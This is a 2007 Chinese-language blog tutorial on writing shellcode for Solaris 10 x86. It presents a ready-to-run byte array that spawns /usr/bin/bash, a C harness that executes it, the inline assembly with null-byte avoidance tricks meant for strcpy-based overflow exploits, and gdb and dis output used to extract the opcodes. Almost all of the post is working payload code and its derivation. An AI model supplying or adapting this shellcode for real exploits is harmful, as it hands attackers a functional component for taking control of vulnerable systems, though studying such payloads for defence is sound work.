Sunday, February 11, 2007

编写Solaris 10 x86的Shellcode

shell.c
static char shell[] = "\x33\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42
\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01
\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x33\xc0\x66\x6a\x68\x68
\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72
\x8b\xdc\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51
\x53\xb0\x0b\xe8\xc7\xff\xff\xff";

int main() {
void (*fun)();
fun = (void*)shell;
fun();
return 0;
}

以上文件中的shell数组的内容就是我们需要的shellcode,以下讨论获得这个shellcode的过程。

本实验使用的工具gcc(v3.3.2)和gdb(v6.4)。

因为在C语言中字符数组是以‘\0’结尾的,在实际攻击代码中使用时,诸如strcpy等函数会忽略字符串中0x00以后的字符。所以应该在指令代码中避免0x00,比如movl $0x0, %eax应该使用xorl %eax, %eax代替。

这里shellcode使用lcall系统调用/usr/bin/bash获得一个shell。

汇编代码如下(为调试方便,每行只含一条指令):
shellcode.c
void main(){
__asm__("xorl %eax,%eax\n\t");
__asm__("jmp .+0xb\n\t");
__asm__("popl %edx\n\t");
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
__asm__("jmp .+0x0f\n\t");
__asm__("call .-0x9\n\t");
__asm__("lcall $0x107,$0x1010101\n\t");
__asm__("ret\n\t");
__asm__("pushl %eax\n\t");
__asm__("movb $0x17,%al\n\t");
__asm__("call .-0xb\n\t");
__asm__("xorl %eax,%eax\n\t");
__asm__("pushw $0x68\n\t");
__asm__("pushl $0x7361622f\n\t");
__asm__("pushl $0x6e69622f\n\t");
__asm__("pushl $0x7273752f\n\t");
__asm__("movl %esp,%ebx\n\t");
__asm__("pushl %eax\n\t");
__asm__("pushl %ebx\n\t");
__asm__("leal (%esp),%ecx\n\t");
__asm__("leal 0x4(%esp),%edx\n\t");
__asm__("pushl %edx\n\t");
__asm__("pushl %ecx\n\t");
__asm__("pushl %ebx\n\t");
__asm__("movb $0xb,%al\n\t");
__asm__("call .-0x34\n\t");
}

系统调用lcall $0x07,0x0被lcall $0x107,$0x1010101代替是因为前者的二进制代码中包含0x00,通过
__asm__("movl %eax, 0x1(%edx)\n\t");
__asm__("movb %al, 0x6(%edx)\n\t");
两条指令在运行时将lcall $0x107,$0x1010101修改成为lcall $0x07,0x0。需要说明的是只有将上述代码放置于数据段,才能直接执行。因为通常代码段是只读的,不能在运行时修改代码段的指令。


四条连续的push指令压栈的是字符串“/usr/bin/bash”的ASCII值。

使用gcc编译该文件:
gcc -o shellcode -g -ggdb shellcode.c

通过gdb进行调试并得到二进制指令:
gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-pc-solaris2.10"...
(gdb) disassemble main
Dump of assembler code for function main:
0x08050673 : push %ebp
0x08050674 : mov %esp,%ebp
0x08050676 : sub $0x8,%esp
0x08050679 : and $0xfffffff0,%esp
0x0805067c : mov $0x0,%eax
0x08050681 : sub %eax,%esp
0x08050683 : xor %eax,%eax
0x08050685 : jmp 0x8050690
0x08050687 : pop %edx
0x08050688 : mov %eax,0x1(%edx)
0x0805068b : mov %al,0x6(%edx)
0x0805068e : jmp 0x805069d
0x08050690 : call 0x8050687
0x08050695 : lcall $0x107,$0x1010101
0x0805069c : ret
0x0805069d : push %eax
0x0805069e : mov $0x17,%al
0x080506a0 : call 0x8050695
0x080506a5 : xor %eax,%eax
0x080506a7 : pushw $0x68
0x080506aa : push $0x7361622f
0x080506af : push $0x6e69622f
0x080506b4 : push $0x7273752f
0x080506b9 : mov %esp,%ebx
0x080506bb : push %eax
0x080506bc : push %ebx
0x080506bd : lea (%esp),%ecx
0x080506c0 : lea 0x4(%esp),%edx
0x080506c4 : push %edx
0x080506c5 : push %ecx
0x080506c6 : push %ebx
0x080506c7 : mov $0xb,%al
0x080506c9 : call 0x8050695
0x080506ce : leave
0x080506cf : ret
End of assembler dump.
(gdb)

通过gdb确定代码中jmp和call指令的偏移值。

-bash-3.00# dis -F main ./shellcode
**** DISASSEMBLER ****


disassembly for ./shellcode

section .text
main()
main: 55 pushl %ebp
main+0x1: 8b ec movl %esp,%ebp
main+0x3: 83 ec 08 subl $0x8,%esp
main+0x6: 83 e4 f0 andl $0xfffffff0,%esp
main+0x9: b8 00 00 00 00 movl $0x0,%eax
main+0xe: 2b e0 subl %eax,%esp
main+0x10: 33 c0 xorl %eax,%eax
main+0x12: eb 09 jmp +0xb
main+0x14: 5a popl %edx
main+0x15: 89 42 01 movl %eax,0x1(%edx)
main+0x18: 88 42 06 movb %al,0x6(%edx)
main+0x1b: eb 0d jmp +0xf
main+0x1d: e8 f2 ff ff ff call -0x9
main+0x22: 9a 01 01 01 01 07 01 lcall $0x107,$0x1010101
main+0x29: c3 ret
main+0x2a: 50 pushl %eax
main+0x2b: b0 17 movb $0x17,%al
main+0x2d: e8 f0 ff ff ff call -0xb
main+0x32: 33 c0 xorl %eax,%eax
main+0x34: 66 6a 68 pushw $0x68
main+0x37: 68 2f 62 61 73 pushl $0x7361622f
main+0x3c: 68 2f 62 69 6e pushl $0x6e69622f
main+0x41: 68 2f 75 73 72 pushl $0x7273752f
main+0x46: 8b dc movl %esp,%ebx
main+0x48: 50 pushl %eax
main+0x49: 53 pushl %ebx
main+0x4a: 8d 0c 24 leal (%esp),%ecx
main+0x4d: 8d 54 24 04 leal 0x4(%esp),%edx
main+0x51: 52 pushl %edx
main+0x52: 51 pushl %ecx
main+0x53: 53 pushl %ebx
main+0x54: b0 0b movb $0xb,%al
main+0x56: e8 c7 ff ff ff call -0x34
main+0x5b: c9 leave
main+0x5c: c3 ret
-bash-3.00#

从main+0x10开始的33 c0就是我们需要的shellcode了。

No comments:

Fast, Safe, Open, Free!
Open for business. Open for me! » Learn More